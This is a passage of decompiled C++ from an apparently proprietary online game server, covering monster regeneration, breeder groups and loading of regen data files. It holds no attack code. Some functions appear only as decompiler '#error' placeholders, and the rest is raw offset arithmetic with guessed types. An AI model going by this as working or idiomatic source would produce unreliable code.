int, signed int, _DWORD, unsigned int, _DWORD, signed int, signed int, signed int))(*(_DWORD *)v13 + 1584))( v13, v13, 231, 1, unk_6BCD30, clockwatch.cw_CurrTick, 0, -1, 5000, 8); ShineObjectClass::ShineObject::so_AbnormalState_BitSet(v13, 231); } (*(void (__thiscall **)(void *, int))(*(_DWORD *)v13 + 1772))(v13, handle); *((_DWORD *)v13 + 1870) = (*(int (__thiscall **)(void *))(*(_DWORD *)v13 + 1260))(v13); v22 = (*(int (__thiscall **)(void *))(*(_DWORD *)v13 + 1264))(v13); v23 = *((_DWORD *)v13 + 1914); *((_DWORD *)v13 + 1871) = v22; Parameter::Container::c_StoreMob((int)((char *)v13 + 3860), v23); v24 = *(_DWORD *)v13; *((_WORD *)v13 + 3846) = -1; *((_BYTE *)v13 + 7694) = 0; v25 = (*(int (__thiscall **)(void *))(v24 + 1796))(v13); std::vector>::resize( (std::vector > *)v13 + 479, *(_DWORD *)(v25 + 12), 0); for ( i = 0; ; ++i ) { v27 = *((_DWORD *)v13 + 1917); if ( !v27 ) break; if ( i >= (*((_DWORD *)v13 + 1918) - v27) >> 2 ) break; *(_DWORD *)(*((_DWORD *)v13 + 1917) + 4 * i) = 0; } *((_DWORD *)v13 + 1920) = -1; if ( !a10 ) { *(_DWORD *)((char *)v13 + 9017) = v13; *(_DWORD *)((char *)v13 + 9013) = v13; goto LABEL_22; } if ( (*(int (__thiscall **)(int))(*(_DWORD *)a10 + 1852))(a10) == 0 ) { v32 = 0; v31 = "ShineObjectClass::ShineMob::so_mob_Regenerate : Null FamilyList - Leader"; LABEL_17: AssertClass::ac_AssertFail(&shineassert, v31, v32); *(_DWORD *)((char *)v13 + 9017) = v13; *(_DWORD *)((char *)v13 + 9013) = v13; goto LABEL_22; } v28 = *(_DWORD *)((*(int (__thiscall **)(int))(*(_DWORD *)a10 + 1852))(a10) + 4); if ( !(*(int (__thiscall **)(_DWORD))(*(_DWORD *)a10 + 1852))(a10) || !(*(int (__thiscall **)(int))(*(_DWORD *)v28 + 1852))(v28) ) { v32 = 0; v31 = "ShineObjectClass::ShineMob::so_mob_Regenerate : Null FamilyList - member"; goto LABEL_17; } *(_DWORD *)((char *)v13 + 9017) = *(_DWORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)a10 + 1852))(a10) + 4); *(_DWORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)a10 + 1852))(a10) + 4) = v13; *(_DWORD *)((char *)v13 + 9013) = *(_DWORD *)(*(int (__thiscall **)(int))(*(_DWORD *)v28 + 1852))(v28); *(_DWORD *)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v28 + 1852))(v28) = v13; LABEL_22: v29 = *(_DWORD *)(*((_DWORD *)v13 + 1914) + 8); if ( v29 && ((v30 = *(_DWORD *)v29) == 0 || *(_DWORD *)(v30 + 111)) ) *((_DWORD *)v13 + 1856) = &roe_normalMA; else *((_DWORD *)v13 + 1856) = &roe_normalPY; *((_DWORD *)v13 + 1926) = 0; --funcallanalizer.fca_stackpoint; v35 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_Regenerate"); return 0; } // 457320: using guessed type int __thiscall ShineObjectClass__ShineObject__so_MapMarking(_DWORD, _DWORD); // 632E04: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); // 64292C: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (004A0040) -------------------------------------------------------- FieldMap::FM_MarkingError __thiscall ShineObjectClass::ShineServant::so_mob_Regenerate(ShineObjectClass::ShineServant *this, Name3 *map_, int x, int y, int dir, unsigned __int16 handle, unsigned __int16 mobid, PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *bandittemplete, unsigned int regnum, #593 *leadermob, #1429 *breeder, int lev, char blockdata) { void *v13; // esi@1 int v14; // ebx@1 MobDataBox::MobDataBoxIndex *v15; // eax@1 v13 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineServant::so_mob_Regenerate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineServant::so_mob_Regenerate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v14 = ShineObjectClass::ShineMob::so_mob_Regenerate( v13, (int)map_, x, y, dir, handle, mobid, (int)bandittemplete, regnum, (int)leadermob, (int)breeder, lev, blockdata); v15 = MobDataBox::operator__(&mobdatabox, mobid); if ( v15 ) (*(void (__thiscall **)(_DWORD, _DWORD))(*(_DWORD *)v13 + 2820))(v13, v15->p_MobLifeTime); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineServant::so_mob_Regenerate"); return v14; } //----- (004A0140) -------------------------------------------------------- FieldMap::FM_MarkingError __thiscall ShineObjectClass::ShineNPC::so_mob_Regenerate(ShineObjectClass::ShineNPC *this, Name3 *_map, int x, int y, int dir, unsigned __int16 handle, unsigned __int16 mobid, PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *bandittemplete, unsigned int regnum, #593 *leadermob, #1429 *breeder, int lev, char blockdata) { ShineObjectClass::ShineNPC *v13; // esi@1 int v14; // eax@1 FieldMap::FM_MarkingError v15; // esi@1 v13 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineNPC::so_mob_Regenerate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineNPC::so_mob_Regenerate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v13->sn_FromTable = 0; v14 = ShineObjectClass::ShineMob::so_mob_Regenerate( v13, (int)_map, x, y, dir, handle, mobid, (int)bandittemplete, regnum, (int)leadermob, (int)breeder, lev, blockdata); --funcallanalizer.fca_stackpoint; v15 = v14; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineNPC::so_mob_Regenerate"); return v15; } //----- (004A0220) -------------------------------------------------------- #error "4A0220: undefined or illegal type '#593' (funcsize=181)" //----- (004A0480) -------------------------------------------------------- char __thiscall MobRegenClass::MobBreederGroup::mbg_Routine(MobRegenClass::MobBreederGroup *this, List *lst, unsigned __int16 handle) { MobRegenClass::MobBreederGroup *v3; // esi@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobRegenClass::MobBreederGroup::mbg_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobRegenClass::MobBreederGroup::mbg_Routine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *((_WORD *)v3 + 10) ) List::l_4AllInList( (List *)v3, (char (__thiscall *)(AbnormalStateContainer::AbstateElementInObject *, List *, unsigned __int16))&MobRegenClass::MobBreeder::mb_Routine); else ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(handle); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobRegenClass::MobBreederGroup::mbg_Routine"); return 1; } //----- (004A0540) -------------------------------------------------------- #error "4A0540: undefined or illegal type '#1429' (funcsize=44)" //----- (004A05F0) -------------------------------------------------------- void __thiscall EventMobRegen::erb_happen(EventMobRegen *this) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "EventMobRegen::erb_happen"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "EventMobRegen::erb_happen"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; List::l_4AllInList( (List *)((char *)mobhatchery + (_DWORD)((char *)&wholesaver + 17755960)), (char (__thiscall *)(AbnormalStateContainer::AbstateElementInObject *, List *, unsigned __int16))MobRegenClass::MobBreederGroup::mbg_Routine); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "EventMobRegen::erb_happen"); } //----- (004A0690) -------------------------------------------------------- #error "4A0690: undefined or illegal type '#1429' (funcsize=44)" //----- (004A0740) -------------------------------------------------------- FamilyMobManagement::FamilyMob *__thiscall std::vector>::_Ufill(std::vector > *this, FamilyMobManagement::FamilyMob *_Ptr, unsigned int _Count, FamilyMobManagement::FamilyMob *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (004A0770) -------------------------------------------------------- #error "4A0770: undefined or illegal type '#1429' (funcsize=271)" //----- (004A0A70) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last) { std::vector > *v4; // ebp@1 std::vector >::iterator v5; // ecx@1 FamilyMobManagement::FamilyMob *v6; // eax@2 ItemRandomOption::OptionTable *v7; // ebx@2 FamilyMobManagement::FamilyMob *v8; // edi@2 ItemRandomOption::OptionTable *i; // esi@2 std::vector >::iterator *v10; // eax@5 v4 = this; v5 = _First; if ( _First != _Last ) { v6 = std::_Copy_opt( *(FamilyMobManagement::FamilyMob **)&_Last, v4->_Mylast, *(FamilyMobManagement::FamilyMob **)&_First, (std::_Nonscalar_ptr_iterator_tag)_First.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v7 = (ItemRandomOption::OptionTable *)v4->_Mylast; v8 = v6; for ( i = (ItemRandomOption::OptionTable *)v6; i != v7; ++i ) SHND::CommonData::_CommonData(i); v5 = _First; v4->_Mylast = v8; } v10 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v5; return v10; } //----- (004A0AD0) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, FamilyMobManagement::FamilyMob *_Val) { std::vector > *v4; // edi@1 FamilyMobManagement::FamilyMob *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector >::iterator *v8; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) { v7 = (signed int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)&_Where - (signed int)v5)) >> 32) >> 3; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector>::_Insert_n( this, _Where, 1u, _Val); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v8; } //----- (004A0B40) -------------------------------------------------------- #error "4A0B40: undefined or illegal type '#1429' (funcsize=54)" //----- (004A0C20) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, FamilyMobManagement::FamilyMob *_Val) { std::vector > *v2; // esi@1 FamilyMobManagement::FamilyMob *v3; // edi@1 int v4; // ecx@2 signed int v5; // edx@3 FamilyMobManagement::FamilyMob *v6; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) { v5 = (signed int)((unsigned __int64)(1717986919i64 * (unsigned int)((char *)this->_Mylast - (char *)v3)) >> 32) >> 3; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } if ( v3 && v4 < v2->_Myend - v3 ) { v6 = v2->_Mylast; std::_Uninit_fill_n>( v2->_Mylast, 1u, _Val, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v6 + 1; } else { std::vector>::insert( v2, (std::vector >::iterator *)&_Val, (std::vector >::iterator)v2->_Mylast, _Val); } } //----- (004A0CB0) -------------------------------------------------------- char __thiscall MobRegenClass::MobBreederGroup::l_Free(MobRegenClass::MobBreederGroup *this, unsigned __int16 hnd) { MobRegenClass::MobBreederGroup *v2; // esi@1 char v3; // cl@1 int v4; // edi@2 int v5; // ecx@3 char v6; // al@7 char v7; // bl@7 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobRegenClass::MobBreederGroup::l_Free"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobRegenClass::MobBreederGroup::l_Free"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = 0; if ( hnd < *((_WORD *)v2 + 2) ) { v5 = *((_DWORD *)v2 + 2); v4 = *(_DWORD *)(v5 + 12 * hnd); v3 = *(_BYTE *)(v5 + 12 * hnd + 8); } else { v4 = 0; } if ( v3 ) { *(_DWORD *)(v4 + 92) = 0; *(_DWORD *)(v4 + 88) = 0; } else { AssertClass::ac_AssertFail(&shineassert, "MobRegenClass::MobBreederGroup::l_Free", 0); } FamilyMobManagement::FamilyMobManager::fmm_Remove(&g_FamilyMobManager, (#1429 *)v4); v6 = List::l_Free((List *)v2, hnd); --funcallanalizer.fca_stackpoint; v7 = v6; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobRegenClass::MobBreederGroup::l_Free"); return v7; } //----- (004A0DA0) -------------------------------------------------------- #error "4A0DA0: undefined or illegal type '#1429' (funcsize=103)" //----- (004A0EF0) -------------------------------------------------------- char __thiscall MobRegenClass::MobBreederGroup::mbg_StoreData(MobRegenClass::MobBreederGroup *this, List *lst, unsigned __int16 handle) { int v3; // ebp@1 MobRegenStruct::RegenMobStruct *v4; // eax@1 bool v5; // zf@1 int v6; // ecx@10 char *v7; // eax@11 char v8; // cl@12 int v9; // ebx@13 void *v10; // edi@15 unsigned int v11; // eax@20 signed __int16 v12; // si@20 unsigned int v13; // edx@31 char result; // al@33 unsigned int _; // [sp+10h] [bp-118h]@1 int hnd; // [sp+14h] [bp-114h]@1 char buffer[256]; // [sp+18h] [bp-110h]@11 unsigned int v18; // [sp+118h] [bp-10h]@1 int v19; // [sp+124h] [bp-4h]@1 v3 = (int)this; v18 = (unsigned int)&_ ^ __security_cookie; hnd = (int)"MobRegenClass::MobBreederGroup::mbg_StoreData"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobRegenClass::MobBreederGroup::mbg_StoreData"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobRegenClass::MobBreederGroup::mbg_StoreData"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = mbsa.mbsa_Struct; v5 = *(_DWORD *)mbsa.mbsa_Struct == *(_DWORD *)(v3 + 6424); v19 = 0; if ( v5 && *(_DWORD *)&mbsa.mbsa_Struct->rms_groupname.ort_Name[4] == *(_DWORD *)(v3 + 6428) && *(_DWORD *)&mbsa.mbsa_Struct->rms_groupname.ort_Name[8] == *(_DWORD *)(v3 + 6432) && *(_DWORD *)&mbsa.mbsa_Struct->rms_groupname.ort_Name[12] == *(_DWORD *)(v3 + 6436) && *(_DWORD *)&mbsa.mbsa_Struct->rms_groupname.ort_Name[16] == *(_DWORD *)(v3 + 6440) && *(_DWORD *)&mbsa.mbsa_map->n3_name[0] == *(_DWORD *)(v3 + 6493) && *(_DWORD *)&mbsa.mbsa_map->n3_name[4] == *(_DWORD *)(v3 + 6497) && *(_DWORD *)&mbsa.mbsa_map->n3_name[8] == *(_DWORD *)(v3 + 6501) ) { memcpy((void *)(v3 + 6445), &mbsa.mbsa_Struct->rms_regen, 0x30u); v6 = *(_DWORD *)(v3 + 6445); _ = (unsigned int)v6 < 0x93A80; if ( (unsigned int)v6 < 0x93A80 ) { v8 = v4->rms_Number; _ = 0; if ( v8 ) { v9 = hnd; do { LOWORD(v6) = *(_WORD *)(v3 + 12); if ( (_WORD)v6 == -1 ) { v10 = 0; } else { v9 = v6; v10 = (void *)(*(int (__thiscall **)(int, int))(*(_DWORD *)v3 + 4))(v3, v6); v4 = mbsa.mbsa_Struct; } if ( !v10 ) { AssertClass::ac_AssertFail(&shineassert, "MobBreederGroup::mbg_StoreData : Too many mob in regengroup", 0); ShineExit("MobRegenClass::MobBreederGroup::mbg_StoreData"); } v11 = BTree::operator__(&mobdatabox.mdb_btree, v4->rms_mobname); v12 = -1; if ( v11 != -1 ) v12 = v11; if ( v12 == -1 ) { AssertClass::ac_AssertFail( &shineassert, "MobBreederGroup::mbg_StoreData : Wrong mob name", mbsa.mbsa_Struct->rms_mobname); v12 = 1; } if ( *(_BYTE *)(v3 + 6444) == 89 ) { if ( *(_DWORD *)(v3 + 6576) ) MobRegenClass::MobBreeder::mb_SetLeader(v10, *(_DWORD *)(v3 + 6576)); else *(_DWORD *)(v3 + 6576) = v10; FamilyMobManagement::FamilyMobManager::fmm_Regist( &g_FamilyMobManager, *(#1429 **)(v3 + 6576), v12, mbsa.mbsa_Struct->rms_KillNumber); } if ( !MobRegenClass::MobBreeder::mb_Set(v10, v3, v12, (int)&mbsa.mbsa_Struct->rms_regen, -1) ) (*(void (__thiscall **)(int, int))(*(_DWORD *)v3 + 8))(v3, v9); v4 = mbsa.mbsa_Struct; v13 = mbsa.mbsa_Struct->rms_Number; v6 = _++ + 1; } while ( _ < v13 ); } --funcallanalizer.fca_stackpoint; v19 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobRegenClass::MobBreederGroup::mbg_StoreData"); } else { AssertClass::ac_AssertFail(&shineassert, "MobRegenClass::MobBreederGroup::mbg_StoreData : Minus regen time", v6); v7 = ORToken::ort_GetString((ORToken *)(v3 + 6424), buffer); AssertClass::ac_AssertFail(&shineassert, "MobRegenClass::MobBreederGroup::mbg_StoreData : Minus regen time", v7); --funcallanalizer.fca_stackpoint; v19 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobRegenClass::MobBreederGroup::mbg_StoreData"); } } else { --funcallanalizer.fca_stackpoint; v19 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobRegenClass::MobBreederGroup::mbg_StoreData"); } __security_check_cookie((unsigned int)&_ ^ v18); return result; } //----- (004A11D0) -------------------------------------------------------- #error "4A11D0: undefined or illegal type '#1429' (funcsize=107)" //----- (004A1370) -------------------------------------------------------- void __thiscall MobHatchery::mh_Load(MobHatchery *this, Name4 *world, Name3 *map_) { unsigned int v3; // eax@1 char *v4; // eax@1 unsigned int v5; // ecx@1 char *v6; // ecx@1 int v7; // edx@1 int v8; // edx@1 int v9; // edx@1 void *v10; // edi@1 unsigned int v11; // eax@2 char *v12; // eax@2 void *v13; // eax@4 void *v14; // edi@4 int v15; // eax@5 int v16; // edx@10 MobRoaming::MobRoamingPath *v17; // eax@14 int j; // ebp@15 char *v19; // edi@17 List *v20; // ecx@17 char v21; // al@17 char *v22; // eax@18 ORToken v23; // [sp-18h] [bp-20Ch]@4 int v24; // [sp-14h] [bp-208h]@4 char *v25; // [sp-10h] [bp-204h]@1 const char *v26; // [sp-Ch] [bp-200h]@1 char *v27; // [sp-8h] [bp-1FCh]@1 int v28; // [sp-4h] [bp-1F8h]@1 ORToken *i; // [sp+10h] [bp-1E4h]@1 MobRegenClass::MobBreederGroup *grp; // [sp+14h] [bp-1E0h]@4 void *or; // [sp+18h] [bp-1DCh]@1 MobHatchery *v32; // [sp+1Ch] [bp-1D8h]@1 FunctionEntarance _; // [sp+20h] [bp-1D4h]@1 char path[128]; // [sp+24h] [bp-1D0h]@1 char buf[64]; // [sp+A4h] [bp-150h]@7 char buffer[256]; // [sp+E4h] [bp-110h]@18 unsigned int v37; // [sp+1E4h] [bp-10h]@1 int v38; // [sp+1F0h] [bp-4h]@1 v32 = this; v37 = (unsigned int)&i ^ __security_cookie; _.fe_FunctionCode = "MobHatchery::mh_Load"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobHatchery::mh_Load"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobHatchery::mh_Load"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v38 = 0; SafePointer::SafePointer((SafePointer *)&or); v3 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v3; v4 = (char *)&namestring + 256 * v3; *(_QWORD *)v4 = *(_QWORD *)&map_->n3_name[0]; *((_DWORD *)v4 + 2) = *(_DWORD *)&map_->n3_name[8]; v4[12] = 0; v5 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v5; v6 = (char *)&namestring + 256 * v5; *(_DWORD *)v6 = *(_DWORD *)&world->n4_name[0]; v7 = *(_DWORD *)&world->n4_name[4]; v28 = (int)v4; *((_DWORD *)v6 + 1) = v7; v8 = *(_DWORD *)&world->n4_name[8]; v27 = v6; *((_DWORD *)v6 + 2) = v8; v9 = *(_DWORD *)&world->n4_name[12]; v26 = "../9Data/Hero/World/%s/MobRegen/%s.txt"; v25 = path; LOBYTE(v38) = 1; *((_DWORD *)v6 + 3) = v9; v6[16] = 0; sprintf(v25, v26); v10 = or; if ( !OptionReader::or_Read((OptionReader *)or, path) ) { OptionReader::or_ClearError((OptionReader *)v10); v11 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v11; v12 = (char *)&namestring + 256 * v11; *(_QWORD *)v12 = *(_QWORD *)&map_->n3_name[0]; *((_DWORD *)v12 + 2) = *(_DWORD *)&map_->n3_name[8]; v12[12] = 0; sprintf(path, "../9Data/Hero/MobRegen/%s.txt"); if ( OptionReader::or_Read((OptionReader *)v10, path) ) { i = 0; while ( 1 ) { v28 = (int)i; grp = (MobRegenClass::MobBreederGroup *)&v23; v27 = 0; v26 = 0; v25 = 0; v24 = 0; *(_DWORD *)&v23.ort_Name[0] = 0; strncpy(v23.ort_Name, "MobRegenGroup", 0x14u); v13 = OptionReader::or_SelectFromOrder((OptionReader *)v10, v23, v28); v14 = v13; if ( !v13 ) break; v15 = *(_DWORD *)((char *)v13 + 21); if ( v15 < (unsigned int)&wholesaver.ws_savestore[89].gap119c8[4863] && *(_DWORD *)((char *)v14 + 25) < (unsigned int)&wholesaver.ws_savestore[89].gap119c8[4863] ) { LOWORD(v15) = *(_WORD *)((char *)v32 + (_DWORD)((char *)&wholesaver + 17755972)); if ( (_WORD)v15 == -1 ) { grp = 0; } else { v16 = *(_DWORD *)((char *)v32 + (_DWORD)((char *)&wholesaver + 17755960)); v28 = v15; grp = (MobRegenClass::MobBreederGroup *)(*(int (__stdcall **)(int))(v16 + 4))(v15); } if ( grp == 0 ) { AssertClass::ac_AssertFail(&shineassert, "MobHatchery::mh_Load : Too many MobRegenGroup", 0); ShineExit("MobHatchery::mh_Load"); } v28 = (int)((char *)v14 + 21); v27 = (char *)*((_BYTE *)v14 + 20); MobRegenClass::MobBreederGroup::mbg_Set( grp, (ORToken *)v14, map_, (char)v27, (MobRegenStruct::RegenRegion *)((char *)v14 + 21)); v17 = MobRoaming::MobRoamingSet::mrs_Load(&roamingpaths, world, (ORToken *)v14); v10 = or; *((_DWORD *)grp + 1645) = v17; i = (ORToken *)((char *)i + 1); } else { v28 = *(_DWORD *)((char *)v14 + 25); AssertClass::ac_AssertFail(&shineassert, "MobHatchery::mh_Load : Invalid LoginLoc", v15, v28); ORToken::ort_GetString((ORToken *)v14, buf); v10 = or; i = (ORToken *)((char *)i + 1); } } mbsa.mbsa_map = map_; for ( j = 0; ; ++j ) { v28 = j; i = &v23; v27 = 0; v26 = 0; v25 = 0; v24 = 0; *(_DWORD *)&v23.ort_Name[0] = 0; strncpy(v23.ort_Name, "MobRegen", 0x14u); mbsa.mbsa_Struct = (MobRegenStruct::RegenMobStruct *)OptionReader::or_SelectFromOrder( (OptionReader *)or, v23, v28); if ( !mbsa.mbsa_Struct ) break; namestring.ns_point.value = namestring.ns_point.mask & (namestring.ns_point.value + 1); v19 = (char *)&namestring + 256 * namestring.ns_point.value; *(_QWORD *)v19 = *(_QWORD *)&map_->n3_name[0]; *((_DWORD *)v19 + 2) = *(_DWORD *)&map_->n3_name[8]; v28 = (int)MobRegenClass::MobBreederGroup::mbg_StoreData; v20 = (List *)((char *)v32 + (_DWORD)((char *)&wholesaver + 17755960)); v19[12] = 0; v21 = List::l_4AllInList( v20, (char (__thiscall *)(AbnormalStateContainer::AbstateElementInObject *, List *, unsigned __int16))v28); i = (ORToken *)(v21 == 0); if ( v21 ) { AssertClass::ac_AssertFail(&shineassert, "MobHatchery::mh_Load : RegenMob without RegenGroup in", v19); v22 = ORToken::ort_GetString(&mbsa.mbsa_Struct->rms_groupname, buffer); AssertClass::ac_AssertFail(&shineassert, "MobHatchery::mh_Load : RegenGroup is", v22); ShineExit("MobHatchery::mh_Load"); } } v10 = or; } } LOBYTE(v38) = 0; if ( v10 ) { OptionReader::_OptionReader((OptionReader *)v10); operator delete(v10); } --funcallanalizer.fca_stackpoint; v38 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobHatchery::mh_Load"); __security_check_cookie((unsigned int)&i ^ v37); } //----- (004A1750) -------------------------------------------------------- #1429 *__thiscall MobRegenClass::MobBreederGroup::mbg_MobBreed(MobRegenClass::MobBreederGroup *this, Name3 *map_, SHINE_XY_TYPE *xy, int dir, unsigned __int16 mobid, char *itemindex, int mobnumber, int regensec, char family, int regennum, ORToken *aitype, PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *bandittemplete, char *droparea, unsigned __int16 dropmobid, int lev) { MobRegenClass::MobBreederGroup *v15; // esi@1 #1429 *v16; // ebx@1 int v17; // ebp@1 int v18; // eax@4 #1429 *v19; // edi@5 #1429 *result; // eax@13 unsigned int map_a; // [sp+24h] [bp+4h]@3 int xya; // [sp+28h] [bp+8h]@4 v15 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobRegenClass::MobBreederGroup::mbg_MobBreed"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobRegenClass::MobBreederGroup::mbg_MobBreed"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *((_BYTE *)v15 + 6444) = family; *(_QWORD *)((char *)v15 + 6493) = *(_QWORD *)&map_->n3_name[0]; v16 = 0; *(_DWORD *)((char *)v15 + 6501) = *(_DWORD *)&map_->n3_name[8]; MobRegenClass::MobBreederGroup::mbg_SetRegenLoc(v15, xy); v17 = mobnumber; *((_DWORD *)v15 + 1643) = dir; *(_QWORD *)((char *)v15 + 6508) = *(_QWORD *)&aitype->ort_Name[0]; *(_QWORD *)((char *)v15 + 6516) = *(_QWORD *)&aitype->ort_Name[8]; *((_DWORD *)v15 + 1631) = *(_DWORD *)&aitype->ort_Name[16]; if ( mobnumber <= 0 ) { AssertClass::ac_AssertFail(&shineassert, "MobRegenClass::MobBreederGroup::mbg_MobBreed : Minus mobnum", mobnumber); v17 = -mobnumber; } map_a = 0; if ( (unsigned int)v17 <= 0 ) { v19 = (#1429 *)family; LABEL_15: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobRegenClass::MobBreederGroup::mbg_MobBreed"); result = v19; } else { while ( 1 ) { v18 = *((_WORD *)v15 + 6); xya = v18; if ( (_WORD)v18 == -1 ) break; v19 = (#1429 *)(*(int (__thiscall **)(MobRegenClass::MobBreederGroup *, int))(*(_DWORD *)v15 + 4))(v15, v18); if ( !v19 ) break; if ( family ) { if ( !v16 ) v16 = v19; } if ( !(unsigned __int8)MobRegenClass::MobBreeder::mb_MobBreed( v19, v15, mobid, itemindex, v17, regensec, regennum, v16, bandittemplete, droparea, dropmobid, lev) ) { (*(void (__thiscall **)(MobRegenClass::MobBreederGroup *, int))(*(_DWORD *)v15 + 8))(v15, xya); break; } ++map_a; if ( map_a >= v17 ) goto LABEL_15; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobRegenClass::MobBreederGroup::mbg_MobBreed"); result = 0; } return result; } // 4A11D0: using guessed type int __thiscall MobRegenClass__MobBreeder__mb_MobBreed(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD); //----- (004A1930) -------------------------------------------------------- #1429 *__thiscall MobHatchery::mh_MobBreed(MobHatchery *this, Name3 *map_, SHINE_XY_TYPE *xy, int dir, unsigned __int16 mobid, char *itemindex, int mobnumber, int regensec, char family, int regennum, ORToken *aitype, PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *bandittemplete, char *droparea, unsigned __int16 dropmobid, int lev) { MobHatchery *v15; // esi@1 int v16; // eax@1 MobRegenClass::MobBreederGroup *v17; // eax@2 #1429 *result; // eax@3 #1429 *v19; // eax@4 #1429 *v20; // esi@4 v15 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobHatchery::mh_MobBreed"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobHatchery::mh_MobBreed"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v16 = *(_WORD *)((char *)v15 + (_DWORD)((char *)&wholesaver + 17755960) + 12); if ( (_WORD)v16 != -1 && (v17 = (MobRegenClass::MobBreederGroup *)(*(int (__stdcall **)(int))(*(_DWORD *)((char *)v15 + (_DWORD)((char *)&wholesaver + 17755960)) + 4))(v16)) != 0 ) { v19 = MobRegenClass::MobBreederGroup::mbg_MobBreed( v17, map_, xy, dir, mobid, itemindex, mobnumber, regensec, family, regennum, aitype, bandittemplete, droparea, dropmobid, lev); --funcallanalizer.fca_stackpoint; v20 = v19; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobHatchery::mh_MobBreed"); result = v20; } else { --funcallanalizer.fca_stackpoint; 